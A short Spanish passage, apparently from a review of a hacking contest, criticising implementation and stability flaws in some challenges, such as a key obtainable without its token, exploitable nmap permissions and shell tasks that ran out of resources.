También se han descubierto diferentes fallos de implementación (como la 08, que te daba la key sin disponer del token; o los permisos de "nmap" que te permitían saltarte niveles y además neutralizar el avance al resto de concursantes) y de inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin recursos). En un concurso de estas características estos detalles se deberían de cuidar.